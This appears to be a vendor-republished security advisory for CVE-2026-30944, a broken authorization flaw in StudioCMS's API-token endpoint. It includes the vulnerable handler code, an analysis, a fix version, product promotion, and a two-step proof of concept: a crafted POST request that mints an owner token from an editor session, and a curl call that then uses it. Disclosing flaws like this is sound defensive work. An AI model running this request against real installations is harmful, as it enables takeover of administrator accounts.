Summary
The /studiocms_api/dashboard/api-tokens endpoint allows any authenticated user (at least Editor) to generate API tokens for any other user, including owner and admin accounts. The endpoint fails to validate whether the requesting user is authorized to create tokens on behalf of the target user ID, resulting in a full privilege escalation.
Details
The API token generation endpoint accepts a user parameter in the request body that specifies which user the token should be created for. The server-side logic authenticates the session (via auth_session cookie) but does not verify that the authenticated user matches the target user ID nor checks if the caller has sufficient privileges to perform this action on behalf of another user.
This is a classic BOLA vulnerability: the authorization check is limited to "is the user logged in?" instead of "is this user authorized to perform this action on this specific resource?"
Vulnerable Code
The following is the server-side handler for the POST /studiocms_api/dashboard/api-tokens endpoint:
File: packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (lines 16–57)
Version: [email protected]
POST: (ctx) =>
genLogger('studiocms/routes/api/dashboard/api-tokens.POST')(function* () {
const sdk = yield* SDKCore;
// Check if demo mode is enabled
if (developerConfig.demoMode !== false) {
return apiResponseLogger(403, 'Demo mode is enabled, this action is not allowed.');
}
// Get user data
const userData = ctx.locals.StudioCMS.security?.userSessionData; // [1]
// Check if user is logged in
if (!userData?.isLoggedIn) { // [2]
return apiResponseLogger(403, 'Unauthorized');
}
// Check if user has permission
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor; // [3]
if (!isAuthorized) {
return apiResponseLogger(403, 'Unauthorized');
}
// Get Json Data
const jsonData = yield* readAPIContextJson<{
description: string;
user: string; // [4]
}>(ctx);
// Validate form data
if (!jsonData.description) {
return apiResponseLogger(400, 'Invalid form data, description is required');
}
if (!jsonData.user) {
return apiResponseLogger(400, 'Invalid form data, user is required');
}
// [5] jsonData.user passed directly, no check against userData
const newToken = yield* sdk.REST_API.tokens.new(jsonData.user, jsonData.description);
return createJsonResponse({ token: newToken.key }); // [6]
}),
Analysis
The authorization logic has three distinct flaws:
- Insufficient permission gate [1][2][3]: The handler retrieves the session from ctx.locals.StudioCMS.security and only verifies that isEditor is true. This means any user with editor privileges or above passes the gate.
- Missing object-level authorization [4][5]: The user field from the JSON payload (line 54) is passed directly to sdk.REST_API.tokens.new() without any comparison against userData (the authenticated caller's identity from the session at [1]). There is no check such as jsonData.user === userData.id. This allows any authenticated user to specify an arbitrary target UUID and generate a token for that account.
- No target role validation [5]: Even if cross-user token generation were an intended feature, there is no check to prevent a lower-privileged user from generating tokens for higher-privileged accounts (admin, owner).
PoC
Environment
The following user roles were identified in the application:
User ID | Role
2450bf33-0135-4142-80be-9854f9a5e9f1 | owner
eacee42e-ae7e-4e9e-945b-68e26696ece4 | admin
2d93a386-e9cb-451e-a811-d8a34bfdf4da | admin
39b3e7d3-5eb0-48e1-abdc-ce95a57b212c | editor
a1585423-9ade-426e-a713-9c81ed035463 | visitor
Step 1, Generate an API Token for the Owner (as Editor)
An authenticated Editor sends the following request, specifying the owner user ID in the body:
POST /studiocms_api/dashboard/api-tokens HTTP/1.1
Host: <target>
Cookie: auth_session=<editor_session_cookie>
Content-Type: application/json
Content-Length: 74
{
"user": "2450bf33-0135-4142-80be-9854f9a5e9f1",
"description": "pwn"
}
Result: The server returns a valid JWT token bound to the owner account.
Step 2, Use the Token to Access the API as Owner
curl -H "Authorization: Bearer <owner_jwt_token>" http://<target>/studiocms_api/rest/v1/users
Result: The attacker now has full API access with owner privileges, including the ability to list all users, modify content, and manage the application.
Impact
- Privilege Escalation: Any authenticated user (above visitor) can escalate to owner level access.
- Full API Access: The generated token grants unrestricted access to all REST API endpoints with the impersonated user's permissions.
- Account Takeover: An attacker can impersonate any user in the system by specifying their UUID.
- Data Breach: Access to user listings, content management, and potentially sensitive configuration data.
The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.
CVE-2026-30944 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.4.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-30944? CVE-2026-30944 is a high-severity incorrect authorization vulnerability in studiocms (npm), affecting versions <= 0.3.0. It is fixed in 0.4.0. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
- How severe is CVE-2026-30944? CVE-2026-30944 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of studiocms are affected by CVE-2026-30944? studiocms (npm) versions <= 0.3.0 is affected.
- Is there a fix for CVE-2026-30944? Yes. CVE-2026-30944 is fixed in 0.4.0. Upgrade to this version or later.
- Is CVE-2026-30944 exploitable, and should I be worried? Whether CVE-2026-30944 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-30944 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-30944? Upgrade
studiocmsto 0.4.0 or later.